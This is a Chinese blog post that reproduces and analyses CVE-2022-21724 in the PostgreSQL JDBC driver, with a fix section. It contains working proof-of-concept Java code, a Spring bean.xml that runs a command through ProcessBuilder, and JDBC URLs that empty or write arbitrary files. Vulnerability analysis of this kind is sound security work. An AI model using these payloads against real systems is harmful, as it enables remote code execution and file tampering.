漏洞简介

在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

影响范围:

  9.4.1208 <=PgJDBC <42.2.2542.3.0 <=PgJDBC < 42.3.2

【一一帮助安全学习,所有梓料获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

漏洞复现

创建 maven 项目,添加依赖

<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency><groupId>org.postgresql</groupId><artifactId>postgresql</artifactId><version>42.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-context-support</artifactId><version>5.3.23</version>
</dependency>

编写测试代码

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;public class cve202221724 {public static void main(String[] args) throws SQLException {String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;Connection connection = DriverManager.getConnection(jdbcUrl);}
}

bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:p="http://www.springframework.org/schema/p"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类--><bean id="exec" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value>calc.exe</value></list></constructor-arg></bean>
</beans>

漏洞分析

任意代码执行 socketFactory/socketFactoryArg

先将调试后的流程大概画出

java.sql.DriverManager#getConnection(java.lang.String)

java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)

利用 org.postgresql.Driver 的 jdbc 驱动去连接数据库

org.postgresql.Driver#connect

调用 makeConnection 去连接数据库

org.postgresql.Driver#makeConnection

org.postgresql.jdbc.PgConnection#PgConnection

org.postgresql.core.ConnectionFactory#openConnection

org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl

org.postgresql.core.SocketFactoryFactory#getSocketFactory

PGProperty 是枚举类型 其中的 get 方法是判断枚举项的值有没有传入的 properties,如果存在就查找返回,没有就返回默认值

SOCKET_FACTORY("socketFactory",null,"Specify a socket factory for socket creation"),SOCKET_FACTORY_ARG("socketFactoryArg",null,"Argument forwarded to constructor of SocketFactory class."),

org.postgresql.util.ObjectFactory#instantiate

通过 newInstance 来实现对 ctor 类 的创建,同时 args 作为参数。构造方法中有且只有一个 String 参数的类就可以满足条件。

  • org.apache.commons.jxpath.functions.ConstructorFunction
  • org.apache.commons.jxpath.functions.MethodFunction
  • java.io.FileOutputStream

通过利用 CVE-2017-17485 实现 Spring spel 执行任意命令 或者利用 FileOutputStream 将任意文件置空(jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt)

任意代码执行 sslfactory/sslfactoryarg


<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core)
convert:34, MakeSSL (org.postgresql.ssl)
enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3)
tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:17, cve202221724

org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl

尝试与数据库进行连接

org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect

建立连接后收到请求以 S 开头,进入 org.postgresql.ssl.MakeSSL#convert

org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL

org.postgresql.ssl.MakeSSL#convert

org.postgresql.core.SocketFactoryFactory#getSslSocketFactory

任意文件写入 loggerLevel/loggerFile


import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;public class cve202221724 {public static void main(String[] args) throws SQLException {String loggerLevel = "debug";String loggerFile = "test.txt";String shellContent="test";String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;Connection connection = DriverManager.getConnection(jdbcUrl);}
}

org.postgresql.Driver#connect

org.postgresql.Driver#setupLoggerFromProperties

通过 设置扩展参数 LOGGER_FILE 指定日志文件保存位置,没有进行校验,所以可以跨目录的保存文件

生成临时文件,之后将日志信息保存到文件中

org.postgresql.Driver#connect

先通过 setupLoggerFromProperties 设定相关的参数 然后再利用 LOGGER.log 保存文件

漏洞修复

针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常

对于任意文件写入而言,高版本中移除了对日志文件的设定操作 setupLoggerFromProperties(props);

任意代码执行漏洞复现相关推荐

  1. CVE-2021-1647 Windows Defender缓冲区溢出导致的任意代码执行漏洞复现

    0x01 漏洞概述 Windows Defender是Windows自带的防护软件,其在对可执行文件进行检测时采用模拟执行的策略进行黑白判定,模拟执行分为两个部分:指令模拟和运行环境模拟.其中指令模拟 ...

  2. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  3. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  4. Apache Log4j任意代码执行漏洞安全风险通告第三次更新

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 风险通告 近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞.经过分析,该组件存在Java JNDI注入 ...

  5. Office 远程代码执行漏洞复现过程

    本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...

  6. Nette框架未授权任意代码执行漏洞分析

    Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...

  7. FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

    #FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...

  8. ThinkPHP 5.0.23 远程代码执行 漏洞复现

    ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...

  9. 用友NC BeanShell远程代码执行漏洞复现

    用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...

最新文章

  1. [leetcode-61-Rotate List]
  2. 【英语天天读】The Two Roads
  3. MATLAB句柄相关函数和代码示例(设置美化图表属性)
  4. Fast-RCNN解析:训练阶段代码导读
  5. 分布式事务的解决方案
  6. ikm java_2013Morgan Stanley IKM assessment
  7. 宝骏530中控屏怎么安装软件_试驾2020款宝骏530:大屏加六座,就这么直接
  8. Openpose推断阶段原理
  9. Ranger-Kylin插件安装
  10. Java变量的初始化问题探究
  11. 阿里云官方推出操作系统“等保合规”镜像 -- Alibaba Cloud Linux 等保2.0三级版
  12. vivado根据语言模板定义一般IO的管脚约束文件xdc
  13. 小米max android7 root,小米Max root教程 小米Max卡刷获取root权限的方法
  14. linux live usb 使用方法,Linux下制作Live USB方法
  15. Win11删除英文输入法的方法教程
  16. 【经验教程】iPhone苹果手机开通腾讯视频VIP连续包年会员怎么取消苹果关闭订阅连续包年?
  17. CList 动态链表的学习笔记
  18. EMV规范(七)——持卡人验证(CVM)一
  19. 内存数据库中的索引技术
  20. matlab如何使用源代码,rosenbrock函数的matlab源程序代码是怎么样的?

热门文章

  1. 解C#中的委托(Deligate)
  2. Tigase8.1.2安装配置
  3. Windows Mobile开发总结 01
  4. 同步听 一款捕获电脑声音到手机播放
  5. jsp+ssm计算机毕业设计高校奖学金评定管理系统【附源码】
  6. Linux Base VII 帮助命令
  7. 医学图像分割之 Dice Loss
  8. 华为matebook x pro笔记本换硬盘实战
  9. RoboMongo 无法连接MongoDB(Exception sending message)(Exception authenticatig)
  10. 从λ演算到函数式编程聊闭包(1):闭包概念在Java/PHP/JS中形式